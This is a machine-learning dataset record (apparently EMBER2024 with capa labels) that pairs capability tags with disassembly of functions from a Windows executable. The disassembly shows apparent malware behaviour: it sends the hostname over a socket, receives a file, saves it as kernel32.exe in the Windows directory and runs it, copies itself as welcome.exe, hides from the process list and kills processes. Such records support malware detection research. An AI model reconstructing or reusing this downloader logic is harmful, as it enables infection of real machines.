joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4029c9
Capabilities:
Get hostname
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push ebx
push esi
push edi
push 1
pop edi
xor esi, esi
push edi
push 2
push esi
call fcn.00401538
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a90
mov dword [ebp - 0x194], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x190], ebx
add edi, 0x7f
push 0x7f
lea eax, [ebp - 0x8f]
push esi
push eax
mov byte [ebp - 0x90], 0x6f
mov dword [ebp - 8], edi
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x8f]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp + 8]
push 0x10
push eax
mov eax, dword [ebp - 8]
inc eax
push esi
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x194]
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x402a89
cmp eax, esi
jne 0x402a79
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x402a0a
jmp 0x402a89
push esi
lea eax, [ebp - 0x90]
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x402a97
Capabilities:
Create process on windows
Download and write a file
Get common file path
Get local ipv4 addresses
Get socket information
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x297c
call fcn.004045c0
push ebx
push esi
push edi
push 1
xor edi, edi
push 1
push edi
call fcn.00401538
push 0x10
mov ebx, eax
pop esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], esi
call dword [sym.imp.WS2_32.dll_getsockname]
push 0x40
lea eax, [ebp - 0x6c]
push edi
push eax
call fcn.00403df0
add esp, 0xc
mov byte [ebp - 0x6c], 0x21
push dword [ebp - 0x2a]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
lea eax, [ebp - 0x6b]
push eax
call fcn.00403e50
add esp, 0xc
lea eax, [ebp + 8]
push esi
push eax
push edi
lea eax, [ebp - 0x6c]
push 5
push eax
push dword [ebp + 0x18]
call dword [sym.imp.WS2_32.dll_sendto]
push 5
push ebx
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
jne 0x402c5e
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_accept]
cmp eax, 0xffffffff
mov dword [ebp + 0x18], eax
je 0x402c5e
push 0x40
lea eax, [ebp - 0x6c]
push edi
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x6c]
push edi
push 4
push eax
push dword [ebp + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
lea eax, [ebp - 0x6c]
push 4
push eax
lea eax, [ebp - 8]
push eax
call fcn.00403e50
mov esi, 0x100
lea eax, [ebp - 0x17c]
push esi
push edi
push eax
xor ebx, ebx
call fcn.00403df0
add esp, 0x18
lea eax, [ebp - 0x17c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x17c]
push str._systemkernel32.exe
push eax
call fcn.00404350
pop ecx
lea eax, [ebp - 0x17c]
pop ecx
push edi
push 0x80
push 2
push edi
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x402c5e
cmp dword [ebp - 8], edi
jbe 0x402c37
mov esi, 0x2800
mov eax, dword [ebp - 8]
mov dword [ebp - 4], esi
sub eax, ebx
cmp eax, esi
ja 0x402bee
mov dword [ebp - 4], eax
push dword [ebp - 4]
lea eax, [ebp - 0x297c]
push esi
push eax
push dword [ebp + 0x18]
call fcn.00402c65
cmp eax, dword [ebp - 4]
jne 0x402c5e
lea eax, [ebp - 0x1c]
push edi
push eax
lea eax, [ebp - 0x297c]
push dword [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
lea eax, [ebp - 0x297c]
push edi
push eax
call fcn.00403df0
add ebx, dword [ebp - 4]
add esp, 0xc
cmp ebx, dword [ebp - 8]
jb 0x402bdf
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
call esi
push dword [ebp + 0x18]
call esi
lea eax, [ebp - 0x17c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x402c65
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
xor edi, edi
cmp eax, dword [ebp + 0x10]
jg 0x402cab
mov ebx, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_recv]
push edi
push eax
push ebx
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x402cab
test eax, eax
je 0x402cab
add edi, eax
cmp edi, dword [ebp + 0x14]
jge 0x402ca7
mov eax, dword [ebp + 0x14]
push 0
sub eax, edi
push eax
lea eax, [edi + ebx]
push eax
push dword [ebp + 8]
jmp 0x402c84
mov eax, edi
jmp 0x402cae
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x402cb5
Capabilities:
Create thread

Disassembly:
xor eax, eax
cmp dword [0x40e078], eax
jne 0x402cd7
push eax
push eax
push dword [esp + 0xc]
push 0x402cf4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x40e078], eax
ret 4

Function at 0x402cda
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x40e078]
test eax, eax
je 0x402cec
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
and dword [0x40e078], 0
ret
Function at 0x402dd2
Capabilities:
Get graphical window text
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f7c
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 8]
call fcn.004031ca
lea eax, [ebp - 0x408]
push eax
call fcn.00404294
mov esi, 0x800
lea eax, [ebp - 0xc08]
push esi
push 0
push eax
call fcn.00403df0
add esp, 0x10
cmp dword [ebp + 0xc], 1
jne 0x402e5a
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402e6b
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.00404294
pop ecx
push 5
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp + 8], eax
lea eax, [ebp - 0xc08]
push eax
call fcn.00404190
test eax, eax
pop ecx
jbe 0x402ec8
xor edi, edi
cmp dword [0x40d18c], edi
jbe 0x402ec8
mov dword [ebp - 4], str.MSWDM.EXE
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0xc08]
push eax
call fcn.00402f83
test eax, eax
jg 0x402f23
add dword [ebp - 4], 4
inc edi
cmp edi, dword [0x40d18c]
jb 0x402ea6
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f7c
cmp dword [ebp + 0xc], 1
jne 0x402ef0
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402f01
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.00404294
pop ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402dd2
push 2
push dword [ebp + 8]
jmp 0x402e7b
xor ebx, ebx
xor esi, esi
cmp dword [0x40d1a4], ebx
jbe 0x402f52
mov edi, 0x40d190
push dword [edi]
lea eax, [ebp - 0x408]
push eax
call fcn.00402f83
test eax, eax
jg 0x402f7c
inc esi
add edi, 4
cmp esi, dword [0x40d1a4]
jb 0x402f34
push dword [ebp - 8]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
je 0x402f7c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x402f7c
lea eax, [ebp - 0x408]
push 1
push eax
call fcn.00402fdc
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402fdc
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x50
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 0x50
push ebx
push esi
call fcn.00403df0
add esp, 0xc
push esi
push dword [ebp + 8]
call fcn.004030dd
test eax, eax
je 0x403031
push esi
call fcn.00404294
mov dword [esp], str.MICROSOFT
push eax
call fcn.00402f83
test eax, eax
jle 0x403031
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4030d6
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, 0x105
lea eax, [ebp - 0x108]
push esi
push ebx
push eax
call fcn.00403df0
push esi
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00403df0
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x108]
push str.welcome.exe
push eax
call fcn.00404350
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ecx
lea eax, [ebp - 0x108]
push ebx
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030d6
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030d6
push 0x7d0
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030d6
cmp dword [ebp + 0xc], ebx
je 0x4030d6
push 1
call fcn.004017c5
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4030dd
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
and dword [ebp - 4], 0
push ebx
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x40312e
push esi
call fcn.00404641
pop ecx
mov ebx, eax
push ebx
push esi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x40312e
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push str.VarFileInfoTranslation
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x403135
xor eax, eax
jmp 0x4031c4
push 0x80
lea eax, [ebp - 0x90]
push 0
push eax
call fcn.00403df0
add esp, 0xc
xor esi, esi
test dword [ebp - 4], 0xfffffffc
jbe 0x403181
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x90]
push str.StringFileInfo_04x_04xCompanyName
push eax
call fcn.004045ef
mov eax, dword [ebp - 4]
add esp, 0x10
inc esi
shr eax, 2
cmp esi, eax
jb 0x403156
push 0x50
pop esi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
mov dword [ebp - 0x10], esi
call sub.VERSION.dll_VerQueryValueA
push 0x4f
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.00403e50
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
pop eax
pop esi
pop ebx
leave
ret 8
Function at 0x4031ca
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
call fcn.004032ef
cmp eax, 1
jne 0x403238
mov edi, 0x128
push edi
call fcn.004044dc
pop ecx
mov esi, eax
push 0
push 2
mov dword [esi], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
push esi
push edi
call sub.KERNEL32.dll_Process32First
mov ebx, dword [ebp + 8]
test eax, eax
jne 0x403218
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4032e8
cmp dword [esi + 8], ebx
jne 0x403209
add esi, 0x24
push esi
call fcn.00404190
push eax
push esi
push dword [ebp + 0xc]
call fcn.00403e50
add esp, 0x10
jmp 0x4032e8
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.EnumProcessModules
push eax
mov dword [ebp - 4], eax
call esi
push str.GetModuleFileNameExA
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call esi
push dword [ebp + 8]
mov dword [ebp - 8], eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, eax
test ebx, ebx
je 0x4032e3
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push 4
push eax
push ebx
call dword [ebp - 0xc]
test eax, eax
je 0x4032e3
mov esi, 0x100
lea eax, [ebp - 0x110]
push esi
push 0
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x110]
push esi
push eax
push dword [ebp + 8]
push ebx
call dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call edi
lea eax, [ebp - 0x110]
push eax
call fcn.00404190
push eax
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 0xc]
call fcn.00403e50
add esp, 0x10
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x403554
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x104
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00403df0
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00404350
lea eax, [ebp - 0x104]
push str.sys.try
push eax
call fcn.00404350
add esp, 0x1c
lea eax, [ebp - 0x104]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4035bb
xor eax, eax
jmp 0x4035d2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
pop eax
leave
ret 4
Function at 0x4035d6
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
mov esi, 0x104
push edi
push esi
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.00403df0
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call fcn.00404350
lea eax, [ebp - 0x208]
push str..
push eax
call fcn.00404350
add esp, 0x1c
push dword [ebp + 8]
call fcn.004036c5
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4036bf
cmp byte [ebp - 0x31c], 0x2e
je 0x4036a6
mov eax, dword [ebp - 0x348]
and eax, 0x10
cmp al, 0x10
jne 0x4036a6
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00403df0
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00404350
lea eax, [ebp - 0x104]
push 0x40d10c
push eax
call fcn.00404350
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00404350
add esp, 0x24
lea eax, [ebp - 0x104]
push eax
call fcn.004035d6
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40363f
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
leave
ret 4
Function at 0x4039fa
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], 0x44
push 1
rep stosd dword es:[edi], eax
pop edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
xor esi, esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 0x28], edi
mov word [ebp - 0x24], 0xa
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403a6a
cmp dword [ebp + 0x10], esi
je 0x403a66
cmp dword [ebp + 0x10], 0xffffffff
jne 0x403a4e
push 0xffffffffffffffff
jmp 0x403a51
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x403a6a
cmp eax, 0x102
je 0x403a6a
mov eax, edi
jmp 0x403a6c
xor eax, eax
pop edi
pop esi
leave
ret 0xc

Function at 0x403c55
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
push 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor edi, edi
cmp esi, edi
je 0x403ca3
push str.RegisterServiceProcess
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
cmp ebx, edi
je 0x403c9c
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
call fcn.00404757
push eax
call fcn.0040472f
pop ecx
lea eax, [ebp - 0x190]
pop ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403cd2
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x403d93
mov esi, dword [ebp + 0x10]
push esi
call fcn.00404190
test eax, eax
pop ecx
jbe 0x403cf9
push esi
call fcn.00404190
cmp byte [eax + esi - 1], 0x21
pop ecx
jne 0x403cf9
push esi
call fcn.00401856
jmp 0x403d93
mov dword [0x40e46c], edi
call fcn.0040127d
call fcn.00401492
test eax, eax
jne 0x403d64
call section..text
test eax, eax
je 0x403d24
push 0x40e448
call fcn.0040107c
test eax, eax
jne 0x403d3a
cmp dword [0x40e46c], edi
je 0x403d93
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403d93
call fcn.0040106f
test eax, eax
je 0x403d50
call fcn.00401334
push esi
call fcn.004015c3
jmp 0x403d93
cmp dword [0x40e460], edi
jbe 0x403d5d
call fcn.00401db1
call fcn.00401334
jmp 0x403d93
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp + 0x10]
push eax
push edi
push edi
push 0x402568
push edi
push edi
call esi
mov ebx, eax
lea eax, [ebp + 0x10]
push eax
push edi
push edi
push 0x4033dd
push edi
push edi
call esi
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x4070bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d468
cmp edx, dword [eax]
je 0x4070df
add eax, 8
inc ecx
cmp eax, 0x40d4f8
jl 0x4070d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d468]
jne 0x40720d
mov eax, dword [0x40e498]
cmp eax, 1
je 0x4071e7
test eax, eax
jne 0x407110
cmp dword [0x40d39c], 1
je 0x4071e7
cmp edx, 0xfc
je 0x40720d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x407147
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404340
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404190
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40718a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404190
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b5ec
push edi
call fcn.00408c50
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404340
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404350
lea eax, [ebp - 0xa0]
push 0x40b5cc
push eax
call fcn.00404350
push dword [esi + 0x40d46c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404350
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00408bc2
add esp, 0x2c
pop edi
jmp 0x40720d
lea eax, [ebp + 8]
lea esi, [esi + 0x40d46c]
push 0
push eax
push dword [esi]
call fcn.00404190
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40649a
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x4064d5
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x4064bc
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x4064cd
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x4064d7
inc edi
add eax, 0x28
cmp edi, esi
jb 0x4064b2
xor eax, eax
pop edi
pop esi
ret
Function at 0x409de8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x2a
push edi
call fcn.0040bf9f
pop ecx
test eax, eax
pop ecx
jne 0x409e3d
push 0x3f
push edi
call fcn.0040bf9f
pop ecx
test eax, eax
pop ecx
jne 0x409e3d
push edi
call fcn.00409f59
cmp dword [ebp + 0x10], 0
pop ecx
je 0x409f51
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
je 0x409f51
push edi
push eax
call fcn.0040b482
pop ecx
jmp 0x409f50
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call esi
cmp eax, 3
jl 0x409ec1
lea eax, [eax + edi - 3]
push 0x4136bc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x409ec1
push edi
call esi
cmp eax, 4
jl 0x409eba
lea eax, [ebp - 0x104]
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x104]
push eax
push edi
call ebx
test eax, eax
je 0x409eba
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push eax
push edi
call ebx
test eax, eax
je 0x409eba
push dword [0x416804]
push edi
call ebx
test eax, eax
jne 0x409ec1
xor eax, eax
jmp 0x409f54
lea eax, [ebp - 0x104]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
call edi
lea eax, [ebp - 0x104]
push eax
call esi
lea esi, [ebp + eax - 0x105]
lea eax, [ebp - 0x104]
cmp esi, eax
jbe 0x409ef3
cmp byte [esi], 0x5c
je 0x409ef8
dec esi
jmp 0x409ee1
cmp byte [esi], 0x5c
jne 0x409ef9
inc esi
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x104]
push 7
push eax
call fcn.0040a851
add esp, 0xc
test eax, eax
jne 0x409f44
test byte [ebp - 0x24c], 0x10
jne 0x409f35
lea eax, [ebp - 0x34c]
push eax
push esi
call edi
lea eax, [ebp - 0x104]
push eax
call fcn.00409f59
pop ecx
lea eax, [ebp - 0x34c]
push eax
call fcn.0040a893
pop ecx
jmp 0x409f11
lea eax, [ebp - 0x34c]
push eax
call fcn.0040a8d0
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409fe9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
push ebx
push esi
push edi
lea eax, [ebp - 0x358]
push 0x104
push eax
call fcn.0040c164
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ecx
push dword [ebp + 8]
push dword [0x416820]
call esi
mov ebx, dword [ebp + 0xc]
push ebx
push dword [0x416820]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [0x416820]
push 0x3ef
push dword [0x416758]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call fcn.004099f7
push dword [0x416820]
call fcn.00409129
add esp, 0xc
lea eax, [ebp - 0x154]
push ebx
push eax
call esi
lea eax, [ebp - 0x154]
push eax
call fcn.0040b692
pop ecx
lea ecx, [ebp - 0x154]
cmp eax, ecx
jbe 0x40a079
and byte [eax - 1], 0
xor edi, edi
lea eax, [ebp - 0x154]
push edi
push eax
call fcn.0040a8e7
lea eax, [ebp - 0x154]
push eax
call fcn.0040c0de
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + ebx - 3]
cmp eax, ebx
jae 0x40a0a8
mov eax, ebx
push 0x4131b8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
push ebx
jne 0x40a140
lea eax, [ebp - 0x254]
push eax
call esi
lea eax, [ebp - 0x254]
push edi
push eax
call fcn.0040a8e7
push 0x44
lea eax, [ebp - 0x54]
pop esi
push esi
push edi
push eax
call fcn.0040c280
add esp, 0x14
cmp dword [ebp + 0x10], edi
lea eax, [ebp - 0x254]
mov dword [ebp - 0x54], esi
push eax
je 0x40a0fa
push str._s__REGSERVER
jmp 0x40a0ff
push str._s__UNREGSERVER
lea eax, [ebp - 0x558]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x558]
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40a1bb
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40a1bb
call fcn.0040aa9c
test eax, eax
pop ecx
je 0x40a1bb
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.OLE32.DLL
call edi
test eax, eax
mov dword [ebp + 8], eax
je 0x40a1bb
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.OleInitialize
push eax
call esi
test eax, eax
je 0x40a1a2
push 0
call eax
test eax, eax
jne 0x40a1a2
push ebx
call edi
mov edi, eax
test edi, edi
je 0x40a1a2
cmp dword [ebp + 0x10], 0
mov eax, str.DllRegisterServer
jne 0x40a191
mov eax, str.DllUnregisterServer
push eax
push edi
call esi
test eax, eax
je 0x40a19b
call eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.OleUninitialize
push dword [ebp + 8]
call esi
test eax, eax
je 0x40a1b2
call eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x358]
push eax
call fcn.0040c0de
pop ecx
pop edi
pop esi
pop ebx
leave
ret